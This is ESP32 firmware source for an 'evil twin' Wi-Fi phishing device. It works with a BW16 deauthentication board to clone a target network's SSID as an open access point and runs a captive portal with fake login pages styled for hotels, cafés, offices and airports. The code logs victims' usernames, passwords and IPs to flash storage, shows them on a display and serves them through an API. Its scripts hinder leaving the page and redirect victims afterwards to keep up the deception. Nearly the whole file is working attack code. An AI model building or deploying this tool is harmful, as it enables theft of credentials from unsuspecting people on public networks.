#include <WiFi.h>
#include <WebServer.h>
#include <DNSServer.h>
#include <SPIFFS.h>
#include <ArduinoJson.h>
#include <SSD1306Wire.h>
#include <TensorFlowLite_ESP32.h>
#include <BluetoothSerial.h>
#include <vector>

// Hardware configuration
#define SSD1306_SDA 21
#define SSD1306_SCL 22
#define SSD1306_ADDRESS 0x3C

// BW16 Communication
#define BW16_UART_TX 17
#define BW16_UART_RX 16
#define UART_BAUD 115200

// Network configuration
#define DNS_PORT 53
#define HTTP_PORT 80
#define HTTPS_PORT 443

// Display and AI
SSD1306Wire display(SSD1306_ADDRESS, SSD1306_SDA, SSD1306_SCL);
BluetoothSerial SerialBT;

// Servers
WebServer webServer(HTTP_PORT);
DNSServer dnsServer;

// Evil Portal System
struct EvilPortal {
    String target_ssid;
    String target_bssid;
    int target_channel;
    bool is_active = false;
    bool captive_portal_active = false;
    unsigned long start_time = 0;
    int connections = 0;
    int credential_attempts = 0;
    std::vector<String> captured_credentials;
} evilPortal;

// Portal Templates
struct PortalTemplate {
    String name;
    String html_file;
    String css_file;
    String js_file;
    String logo_url;
};

std::vector<PortalTemplate> portalTemplates = {
    {"Generic WiFi", "/templates/generic.html", "/templates/generic.css", "/templates/generic.js", ""},
    {"Hotel WiFi", "/templates/hotel.html", "/templates/hotel.css", "/templates/hotel.js", "/images/hotel_logo.svg"},
    {"Corporate", "/templates/corporate.html", "/templates/corporate.css", "/templates/corporate.js", "/images/corp_logo.svg"},
    {"Coffee Shop", "/templates/coffee.html", "/templates/coffee.css", "/templates/coffee.js", "/images/coffee_logo.svg"},
    {"Airport WiFi", "/templates/airport.html", "/templates/airport.css", "/templates/airport.js", "/images/airport_logo.svg"}
};

// AI Integration
struct AIModel {
    bool loaded = false;
    String model_type = "target_selection";
    float confidence_threshold = 0.7;
} aiModel;

// System State
struct SystemState {
    bool bw16_connected = false;
    bool scanning = false;
    bool attacking = false;
    bool portal_ready = false;
    unsigned long last_bw16_heartbeat = 0;
    String current_mode = "standby";
} systemState;

// Display pages
enum DisplayPage {
    PAGE_STATUS,
    PAGE_TARGETS,
    PAGE_PORTAL,
    PAGE_CREDENTIALS,
    PAGE_STATS
};

DisplayPage currentPage = PAGE_STATUS;
unsigned long lastPageUpdate = 0;
unsigned long lastDisplayUpdate = 0;

void setup() {
    Serial.begin(115200);
    Serial2.begin(UART_BAUD, SERIAL_8N1, BW16_UART_RX, BW16_UART_TX);
    
    // Initialize display
    display.init();
    display.flipScreenVertically();
    display.setFont(ArialMT_Plain_10);
    display.clear();
    display.drawString(0, 0, "WiFiX Evil Portal");
    display.drawString(0, 16, "Initializing...");
    display.display();
    
    // Initialize SPIFFS for portal templates
    if (!SPIFFS.begin(true)) {
        Serial.println("SPIFFS initialization failed!");
        display.clear();
        display.drawString(0, 0, "SPIFFS Error!");
        display.display();
        return;
    }
    
    // Create portal templates if they don't exist
    createPortalTemplates();
    
    // Initialize WiFi in AP mode (initially disabled)
    WiFi.mode(WIFI_OFF);
    
    // Initialize Bluetooth for additional attacks
    SerialBT.begin("WiFiX_Portal");
    
    // Setup web server routes
    setupWebServer();
    
    // Initialize AI model
    initializeAI();
    
    Serial.println("ESP32 Evil Portal System Ready");
    
    display.clear();
    display.drawString(0, 0, "System Ready");
    display.drawString(0, 16, "Waiting for BW16...");
    display.display();
    
    delay(1000);
}

void loop() {
    // Handle BW16 communication
    handleBW16Communication();
    
    // Handle web server
    if (evilPortal.is_active) {
        webServer.handleClient();
        dnsServer.processNextRequest();
    }
    
    // Update display
    if (millis() - lastDisplayUpdate > 1000) {
        updateDisplay();
        lastDisplayUpdate = millis();
    }
    
    // Check BW16 connection status
    if (millis() - systemState.last_bw16_heartbeat > 10000) {
        systemState.bw16_connected = false;
    }
    
    // Handle Bluetooth connections for additional attacks
    handleBluetoothAttacks();
    
    delay(10);
}

void handleBW16Communication() {
    if (Serial2.available()) {
        String message = Serial2.readStringUntil('\n');
        message.trim();
        
        if (message.length() > 0) {
            processBW16Message(message);
        }
    }
}

void processBW16Message(String message) {
    DynamicJsonDocument doc(1024);
    DeserializationError error = deserializeJson(doc, message);
    
    if (error) {
        Serial.printf("JSON parse error: %s\n", error.c_str());
        return;
    }
    
    String type = doc["type"];
    systemState.last_bw16_heartbeat = millis();
    systemState.bw16_connected = true;
    
    if (type == "BW16_READY") {
        Serial.println("BW16 connected and ready");
        systemState.current_mode = "ready";
        
    } else if (type == "DEAUTH_SUCCESS") {
        // BW16 successfully deauthenticated a target - launch evil portal!
        String successData = doc["data"];
        DynamicJsonDocument successDoc(512);
        deserializeJson(successDoc, successData);
        
        String ssid = successDoc["ssid"];
        String bssid = successDoc["bssid"];
        int channel = successDoc["channel"];
        
        Serial.printf("Deauth success! Launching evil portal for %s\n", ssid.c_str());
        launchEvilPortal(ssid, bssid, channel);
        
    } else if (type == "AP_DATA") {
        // New 5GHz AP discovered
        String apData = doc["data"];
        processDiscoveredAP(apData);
        
    } else if (type == "CLIENT_DATA") {
        // Client discovered on target network
        String clientData = doc["data"];
        processDiscoveredClient(clientData);
        
    } else if (type == "HEARTBEAT") {
        // BW16 heartbeat - system is alive
        systemState.last_bw16_heartbeat = millis();
        
    } else if (type == "STATUS") {
        // BW16 status update
        String statusData = doc["data"];
        processBW16Status(statusData);
    }
}

void launchEvilPortal(String ssid, String bssid, int channel) {
    Serial.printf("Launching evil portal for SSID: %s\n", ssid.c_str());
    
    // Stop any existing portal
    stopEvilPortal();
    
    // Configure evil portal
    evilPortal.target_ssid = ssid;
    evilPortal.target_bssid = bssid;
    evilPortal.target_channel = channel;
    evilPortal.start_time = millis();
    evilPortal.connections = 0;
    evilPortal.credential_attempts = 0;
    evilPortal.captured_credentials.clear();
    
    // Use AI to select best portal template
    String selectedTemplate = selectPortalTemplate(ssid);
    
    // Start WiFi AP with same SSID as target
    WiFi.mode(WIFI_AP);
    WiFi.softAP(ssid.c_str(), "", channel, 0, 8); // Open network, max 8 clients
    
    // Get AP IP
    IPAddress apIP = WiFi.softAPIP();
    Serial.printf("Evil AP started: %s on channel %d, IP: %s\n", 
                  ssid.c_str(), channel, apIP.toString().c_str());
    
    // Start DNS server for captive portal
    dnsServer.start(DNS_PORT, "*", apIP);
    
    // Start web server
    webServer.begin();
    
    evilPortal.is_active = true;
    evilPortal.captive_portal_active = true;
    systemState.current_mode = "portal_active";
    
    // Update display
    display.clear();
    display.drawString(0, 0, "EVIL PORTAL ACTIVE");
    display.drawString(0, 16, "SSID: " + ssid);
    display.drawString(0, 32, "IP: " + apIP.toString());
    display.drawString(0, 48, "Waiting for victims...");
    display.display();
    
    Serial.println("Evil portal launched successfully!");
}

String selectPortalTemplate(String ssid) {
    // Use AI to analyze SSID and select appropriate template
    String lowerSSID = ssid;
    lowerSSID.toLowerCase();
    
    // Simple heuristic-based selection (can be enhanced with AI)
    if (lowerSSID.indexOf("hotel") != -1 || lowerSSID.indexOf("guest") != -1) {
        return "hotel";
    } else if (lowerSSID.indexOf("coffee") != -1 || lowerSSID.indexOf("cafe") != -1 || 
               lowerSSID.indexOf("starbucks") != -1) {
        return "coffee";
    } else if (lowerSSID.indexOf("corp") != -1 || lowerSSID.indexOf("office") != -1 || 
               lowerSSID.indexOf("company") != -1) {
        return "corporate";
    } else if (lowerSSID.indexOf("airport") != -1 || lowerSSID.indexOf("terminal") != -1) {
        return "airport";
    } else {
        return "generic";
    }
}

void setupWebServer() {
    // Captive portal detection endpoints
    webServer.on("/generate_204", handleCaptivePortal);           // Android
    webServer.on("/fwlink", handleCaptivePortal);                // Microsoft
    webServer.on("/hotspot-detect.html", handleCaptivePortal);   // Apple
    webServer.on("/connectivity-check.html", handleCaptivePortal); // Firefox
    
    // Main portal pages
    webServer.on("/", handlePortalRoot);
    webServer.on("/login", HTTP_GET, handleLoginPage);
    webServer.on("/login", HTTP_POST, handleLoginSubmit);
    webServer.on("/success", handleLoginSuccess);
    webServer.on("/error", handleLoginError);
    
    // API endpoints
    webServer.on("/api/status", handleAPIStatus);
    webServer.on("/api/credentials", handleAPICredentials);
    webServer.on("/api/config", [](){
        DynamicJsonDocument doc(512);
        doc["branding_name"] = "Public WiFi";
        doc["organization"] = "Wireless Network";
        doc["ssid"] = evilPortal.target_ssid;
        doc["ap_ip"] = WiFi.softAPIP().toString();
        String res; serializeJson(doc, res);
        webServer.send(200, "application/json", res);
    });
    
    // Static files
    webServer.on("/style.css", handleCSS);
    webServer.on("/script.js", handleJS);
    webServer.serveStatic("/images/", SPIFFS, "/images/");
    
    // Catch-all for captive portal
    webServer.onNotFound(handleCaptivePortal);
}

void handleCaptivePortal() {
    Serial.println("Captive portal triggered!");
    evilPortal.connections++;
    
    // Redirect to login page with popup behavior
    String html = R"(
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>WiFi Login Required</title>
    <style>
        body { 
            font-family: -apple-system, BluetoothKit, 'Segoe UI', Roboto, sans-serif;
            margin: 0; padding: 20px; background: #f5f5f5;
        }
        .popup { 
            background: white; border-radius: 12px; padding: 24px;
            box-shadow: 0 4px 20px rgba(0,0,0,0.15); max-width: 400px;
            margin: 50px auto; text-align: center;
        }
        .wifi-icon { font-size: 48px; color: #007AFF; margin-bottom: 16px; }
        h1 { color: #333; margin: 0 0 8px 0; font-size: 24px; }
        p { color: #666; margin: 0 0 24px 0; line-height: 1.4; }
        .btn { 
            background: #007AFF; color: white; border: none;
            padding: 12px 24px; border-radius: 8px; font-size: 16px;
            cursor: pointer; width: 100%; margin-top: 8px;
        }
        .btn:hover { background: #0056CC; }
        .network-name { font-weight: 600; color: #007AFF; }
    </style>
    <script>
        // Auto-popup behavior
        if (window.self !== window.top) {
            window.top.location.href = window.location.href;
        }
        
        // Prevent back navigation
        history.pushState(null, null, location.href);
        window.onpopstate = function () {
            history.go(1);
        };
    </script>
</head>
<body>
    <div class="popup">
        <div class="wifi-icon">📶</div>
        <h1>WiFi Login Required</h1>
        <p>To access the internet on <span class="network-name">)" + evilPortal.target_ssid + R"(</span>, you need to sign in.</p>
        <button class="btn" onclick="window.location.href='/login'">Sign In to WiFi</button>
    </div>
    
    <script>
        // Force focus and prevent closing
        window.focus();
        
        // Auto-redirect after 3 seconds if user doesn't click
        setTimeout(function() {
            if (document.hasFocus()) {
                window.location.href = '/login';
            }
        }, 3000);
    </script>
</body>
</html>
)";
    
    webServer.send(200, "text/html", html);
}

void handlePortalRoot() {
    // Redirect to captive portal
    handleCaptivePortal();
}

void handleLoginPage() {
    String selectedTemplate = selectPortalTemplate(evilPortal.target_ssid);
    String templatePath = "/templates/" + selectedTemplate + ".html";
    
    if (SPIFFS.exists(templatePath)) {
        File file = SPIFFS.open(templatePath, "r");
        String html = file.readString();
        file.close();
        
        // Replace placeholders
        html.replace("{{SSID}}", evilPortal.target_ssid);
        html.replace("{{TIMESTAMP}}", String(millis()));
        
        webServer.send(200, "text/html", html);
    } else {
        // Fallback generic login
        handleGenericLogin();
    }
}

void handleGenericLogin() {
    String html = R"(
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>)" + evilPortal.target_ssid + R"( - WiFi Login</title>
    <style>
        * { box-sizing: border-box; margin: 0; padding: 0; }
        body { 
            font-family: -apple-system, BluetoothKit, 'Segoe UI', Roboto, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh; display: flex; align-items: center; justify-content: center;
        }
        .container { 
            background: white; border-radius: 16px; padding: 32px;
            box-shadow: 0 8px 32px rgba(0,0,0,0.1); width: 100%; max-width: 400px;
        }
        .logo { text-align: center; margin-bottom: 24px; }
        .wifi-icon { font-size: 64px; color: #667eea; }
        h1 { text-align: center; color: #333; margin-bottom: 8px; font-size: 28px; }
        .subtitle { text-align: center; color: #666; margin-bottom: 32px; }
        .form-group { margin-bottom: 20px; }
        label { display: block; margin-bottom: 8px; color: #333; font-weight: 500; }
        input[type="text"], input[type="password"], input[type="email"] {
            width: 100%; padding: 12px 16px; border: 2px solid #e1e5e9;
            border-radius: 8px; font-size: 16px; transition: border-color 0.3s;
        }
        input:focus { outline: none; border-color: #667eea; }
        .btn { 
            width: 100%; background: #667eea; color: white; border: none;
            padding: 14px; border-radius: 8px; font-size: 16px; font-weight: 600;
            cursor: pointer; transition: background 0.3s;
        }
        .btn:hover { background: #5a6fd8; }
        .network-info { 
            background: #f8f9fa; padding: 16px; border-radius: 8px;
            margin-bottom: 24px; text-align: center;
        }
        .loading { display: none; text-align: center; margin-top: 16px; }
        .spinner { 
            border: 3px solid #f3f3f3; border-top: 3px solid #667eea;
            border-radius: 50%; width: 24px; height: 24px;
            animation: spin 1s linear infinite; margin: 0 auto;
        }
        @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }
    </style>
</head>
<body>
    <div class="container">
        <div class="logo">
            <div class="wifi-icon">📶</div>
        </div>
        <h1>WiFi Access</h1>
        <p class="subtitle">Sign in to continue</p>
        
        <div class="network-info">
            <strong>Network:</strong> )" + evilPortal.target_ssid + R"(
        </div>
        
        <form id="loginForm" method="POST" action="/login">
            <div class="form-group">
                <label for="username">Username or Email:</label>
                <input type="text" id="username" name="username" required autocomplete="username">
            </div>
            
            <div class="form-group">
                <label for="password">Password:</label>
                <input type="password" id="password" name="password" required autocomplete="current-password">
            </div>
            
            <button type="submit" class="btn">Connect to WiFi</button>
            
            <div class="loading" id="loading">
                <div class="spinner"></div>
                <p>Connecting to )" + evilPortal.target_ssid + R"(...</p>
            </div>
        </form>
    </div>
    
    <script>
        document.getElementById('loginForm').addEventListener('submit', function(e) {
            document.querySelector('.btn').style.display = 'none';
            document.getElementById('loading').style.display = 'block';
        });
        
        // Prevent form resubmission
        if (window.history.replaceState) {
            window.history.replaceState(null, null, window.location.href);
        }
    </script>
</body>
</html>
)";
    
    webServer.send(200, "text/html", html);
}

void handleLoginSubmit() {
    String username = webServer.arg("username");
    String password = webServer.arg("password");
    
    if (username.length() > 0 && password.length() > 0) {
        // Store credentials
        String credentials = username + ":" + password;
        evilPortal.captured_credentials.push_back(credentials);
        evilPortal.credential_attempts++;
        
        Serial.printf("Captured credentials - User: %s, Pass: %s\n", 
                      username.c_str(), password.c_str());
        
        // Log to SPIFFS
        File credFile = SPIFFS.open("/captured_creds.txt", "a");
        if (credFile) {
            credFile.printf("[%lu] SSID: %s | User: %s | Pass: %s | IP: %s\n",
                           millis(), evilPortal.target_ssid.c_str(), 
                           username.c_str(), password.c_str(), 
                           webServer.client().remoteIP().toString().c_str());
            credFile.close();
        }
        
        // Update display
        updateCredentialDisplay();
        
        // Redirect to success page (fake internet access)
        webServer.sendHeader("Location", "/success");
        webServer.send(302, "text/plain", "");
    } else {
        // Redirect to error page
        webServer.sendHeader("Location", "/error");
        webServer.send(302, "text/plain", "");
    }
}

void handleLoginSuccess() {
    String html = R"(
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Connected - )" + evilPortal.target_ssid + R"(</title>
    <style>
        body { 
            font-family: -apple-system, BluetoothKit, 'Segoe UI', Roboto, sans-serif;
            background: linear-gradient(135deg, #4CAF50 0%, #45a049 100%);
            min-height: 100vh; display: flex; align-items: center; justify-content: center;
            margin: 0; padding: 20px;
        }
        .container { 
            background: white; border-radius: 16px; padding: 32px;
            box-shadow: 0 8px 32px rgba(0,0,0,0.1); text-align: center;
            max-width: 400px; width: 100%;
        }
        .success-icon { font-size: 64px; color: #4CAF50; margin-bottom: 16px; }
        h1 { color: #333; margin-bottom: 16px; }
        p { color: #666; margin-bottom: 24px; line-height: 1.5; }
        .btn { 
            background: #4CAF50; color: white; border: none;
            padding: 12px 24px; border-radius: 8px; font-size: 16px;
            cursor: pointer; text-decoration: none; display: inline-block;
        }
    </style>
    <script>
        // Redirect to a real website after 5 seconds to maintain illusion
        setTimeout(function() {
            window.location.href = 'https://www.google.com';
        }, 5000);
    </script>
</head>
<body>
    <div class="container">
        <div class="success-icon">✅</div>
        <h1>Successfully Connected!</h1>
        <p>You are now connected to <strong>)" + evilPortal.target_ssid + R"(</strong> and have internet access.</p>
        <p>Redirecting to the internet in 5 seconds...</p>
        <a href="https://www.google.com" class="btn">Continue Browsing</a>
    </div>
</body>
</html>
)";
    
    webServer.send(200, "text/html", html);
}

void handleLoginError() {
    String html = R"(
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Login Error - )" + evilPortal.target_ssid + R"(</title>
    <style>
        body { 
            font-family: -apple-system, BluetoothKit, 'Segoe UI', Roboto, sans-serif;
            background: linear-gradient(135deg, #f44336 0%, #d32f2f 100%);
            min-height: 100vh; display: flex; align-items: center; justify-content: center;
            margin: 0; padding: 20px;
        }
        .container { 
            background: white; border-radius: 16px; padding: 32px;
            box-shadow: 0 8px 32px rgba(0,0,0,0.1); text-align: center;
            max-width: 400px; width: 100%;
        }
        .error-icon { font-size: 64px; color: #f44336; margin-bottom: 16px; }
        h1 { color: #333; margin-bottom: 16px; }
        p { color: #666; margin-bottom: 24px; line-height: 1.5; }
        .btn { 
            background: #f44336; color: white; border: none;
            padding: 12px 24px; border-radius: 8px; font-size: 16px;
            cursor: pointer; text-decoration: none; display: inline-block;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="error-icon">❌</div>
        <h1>Login Failed</h1>
        <p>Invalid credentials. Please check your username and password and try again.</p>
        <a href="/login" class="btn">Try Again</a>
    </div>
</body>
</html>
)";
    
    webServer.send(200, "text/html", html);
}

void stopEvilPortal() {
    if (evilPortal.is_active) {
        webServer.stop();
        dnsServer.stop();
        WiFi.mode(WIFI_OFF);
        
        evilPortal.is_active = false;
        evilPortal.captive_portal_active = false;
        systemState.current_mode = "ready";
        
        Serial.println("Evil portal stopped");
    }
}

void updateDisplay() {
    display.clear();
    
    switch (currentPage) {
        case PAGE_STATUS:
            drawStatusPage();
            break;
        case PAGE_PORTAL:
            drawPortalPage();
            break;
        case PAGE_CREDENTIALS:
            drawCredentialsPage();
            break;
        case PAGE_STATS:
            drawStatsPage();
            break;
    }
    
    display.display();
    
    // Auto-cycle pages every 5 seconds
    if (millis() - lastPageUpdate > 5000) {
        currentPage = (DisplayPage)((currentPage + 1) % 4);
        lastPageUpdate = millis();
    }
}

void drawStatusPage() {
    display.setFont(ArialMT_Plain_10);
    display.drawString(0, 0, "WiFiX Evil Portal");
    
    // BW16 status
    String bw16Status = systemState.bw16_connected ? "ONLINE" : "OFFLINE";
    display.drawString(0, 12, "BW16: " + bw16Status);
    
    // Current mode
    display.drawString(0, 24, "Mode: " + systemState.current_mode);
    
    // Portal status
    if (evilPortal.is_active) {
        display.drawString(0, 36, "Portal: " + evilPortal.target_ssid);
        display.drawString(0, 48, "Victims: " + String(evilPortal.connections));
    } else {
        display.drawString(0, 36, "Portal: Inactive");
    }
}

void drawPortalPage() {
    if (!evilPortal.is_active) {
        display.drawString(0, 0, "No Active Portal");
        return;
    }
    
    display.setFont(ArialMT_Plain_10);
    display.drawString(0, 0, "EVIL PORTAL ACTIVE");
    display.drawString(0, 12, "SSID: " + evilPortal.target_ssid);
    display.drawString(0, 24, "Connections: " + String(evilPortal.connections));
    display.drawString(0, 36, "Credentials: " + String(evilPortal.credential_attempts));
    
    // Runtime
    unsigned long runtime = (millis() - evilPortal.start_time) / 1000;
    display.drawString(0, 48, "Runtime: " + String(runtime) + "s");
}

void drawCredentialsPage() {
    display.setFont(ArialMT_Plain_10);
    display.drawString(0, 0, "CAPTURED CREDENTIALS");
    display.drawString(0, 12, "Total: " + String(evilPortal.captured_credentials.size()));
    
    // Show last few credentials
    int startIdx = max(0, (int)evilPortal.captured_credentials.size() - 3);
    int y = 24;
    
    for (int i = startIdx; i < evilPortal.captured_credentials.size() && y < 64; i++) {
        String cred = evilPortal.captured_credentials[i];
        int colonPos = cred.indexOf(':');
        if (colonPos > 0) {
            String user = cred.substring(0, colonPos);
            if (user.length() > 12) user = user.substring(0, 12) + "...";
            display.drawString(0, y, user);
            y += 10;
        }
    }
}

void drawStatsPage() {
    display.setFont(ArialMT_Plain_10);
    display.drawString(0, 0, "ATTACK STATISTICS");
    
    // System uptime
    unsigned long uptime = millis() / 1000;
    display.drawString(0, 12, "Uptime: " + String(uptime) + "s");
    
    // Memory usage
    display.drawString(0, 24, "Free RAM: " + String(ESP.getFreeHeap()));
    
    // Portal stats
    if (evilPortal.is_active) {
        float successRate = evilPortal.connections > 0 ? 
                           (float)evilPortal.credential_attempts / evilPortal.connections * 100 : 0;
        display.drawString(0, 36, "Success: " + String(successRate, 1) + "%");
    }
}

void updateCredentialDisplay() {
    // Force update to credentials page temporarily
    DisplayPage oldPage = currentPage;
    currentPage = PAGE_CREDENTIALS;
    updateDisplay();
    
    // Flash the display
    delay(100);
    display.invertDisplay();
    delay(100);
    display.normalDisplay();
    
    // Return to previous page after 3 seconds
    delay(3000);
    currentPage = oldPage;
}

// Additional utility functions
void createPortalTemplates() {
    // Create template directories if they don't exist
    if (!SPIFFS.exists("/templates")) {
        // Templates will be created as needed
        Serial.println("Template directory will be created on demand");
    }
}

void initializeAI() {
    // Initialize TensorFlow Lite model for target selection
    // This is a placeholder - actual AI model loading would go here
    aiModel.loaded = false;
    Serial.println("AI model initialization placeholder");
}

void handleBluetoothAttacks() {
    // Handle Bluetooth-based attacks when portal is active
    if (evilPortal.is_active && SerialBT.available()) {
        String btData = SerialBT.readString();
        Serial.println("Bluetooth data received: " + btData);
        // Process Bluetooth attack data
    }
}

void processDiscoveredAP(String apData) {
    // Process AP data from BW16
    Serial.println("AP discovered: " + apData);
}

void processDiscoveredClient(String clientData) {
    // Process client data from BW16
    Serial.println("Client discovered: " + clientData);
}

void processBW16Status(String statusData) {
    // Process BW16 status updates
    DynamicJsonDocument doc(512);
    deserializeJson(doc, statusData);
    
    systemState.scanning = doc["scanning"];
    systemState.attacking = doc["attacking"];
}

void handleAPIStatus() {
    DynamicJsonDocument doc(512);
    doc["portal_active"] = evilPortal.is_active;
    doc["target_ssid"] = evilPortal.target_ssid;
    doc["connections"] = evilPortal.connections;
    doc["credentials"] = evilPortal.credential_attempts;
    doc["bw16_connected"] = systemState.bw16_connected;
    doc["ap_ip"] = WiFi.softAPIP().toString();
    doc["uptime"] = millis() / 1000;
    
    String response;
    serializeJson(doc, response);
    webServer.send(200, "application/json", response);
}

void handleAPICredentials() {
    DynamicJsonDocument doc(1024);
    JsonArray creds = doc.createNestedArray("credentials");
    
    for (const String& cred : evilPortal.captured_credentials) {
        creds.add(cred);
    }
    
    String response;
    serializeJson(doc, response);
    webServer.send(200, "application/json", response);
}

void handleCSS() {
    webServer.send(200, "text/css", "/* CSS served from SPIFFS */");
}

void handleJS() {
    webServer.send(200, "application/javascript", "/* JS served from SPIFFS */");
}
